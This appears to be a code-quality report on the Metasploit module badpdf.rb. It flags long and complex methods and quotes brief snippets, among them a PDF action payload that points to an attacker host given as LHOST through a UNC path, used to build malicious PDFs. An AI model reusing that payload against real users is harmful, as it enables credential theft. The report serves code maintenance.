rapid7/metasploit-framework

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modules/auxiliary/fileformat/badpdf.rb

Summary

Maintainability
B
4 hrs
Test Coverage

Method createpdf has 59 lines of code (exceeds 25 allowed). Consider refactoring.
Open

  def createpdf
    # Code below taken POC provided by CheckPoint Research
    pdf = ''
    pdf << "%PDF-1.7\n"
    pdf << "1 0 obj\n"
Severity: Major
Found in modules/auxiliary/fileformat/badpdf.rb - About 2 hrs to fix

    Method initialize has 29 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def initialize(info = {})
        super(update_info(info,
            'Name'          => 'BADPDF Malicious PDF Creator',
            'Description'   => '
              This module can either creates a blank PDF file which contains a UNC link which can be used
    Severity: Minor
    Found in modules/auxiliary/fileformat/badpdf.rb - About 1 hr to fix

      Method injectpdf has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.
      Open

        def injectpdf
          # Payload which gets injected
          inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
      
          # if given path doesn't exist display error and return
      Severity: Minor
      Found in modules/auxiliary/fileformat/badpdf.rb - About 55 mins to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

      Method run has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
      Open

        def run
          if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
            print_error 'Please configure either FILENAME or PDFINJECT'
          elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
            injectpdf
      Severity: Minor
      Found in modules/auxiliary/fileformat/badpdf.rb - About 25 mins to fix

      Cognitive Complexity

      Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

      A method's cognitive complexity is based on a few simple rules:

      • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
      • Code is considered more complex for each "break in the linear flow of the code"
      • Code is considered more complex when "flow breaking structures are nested"

      Further reading

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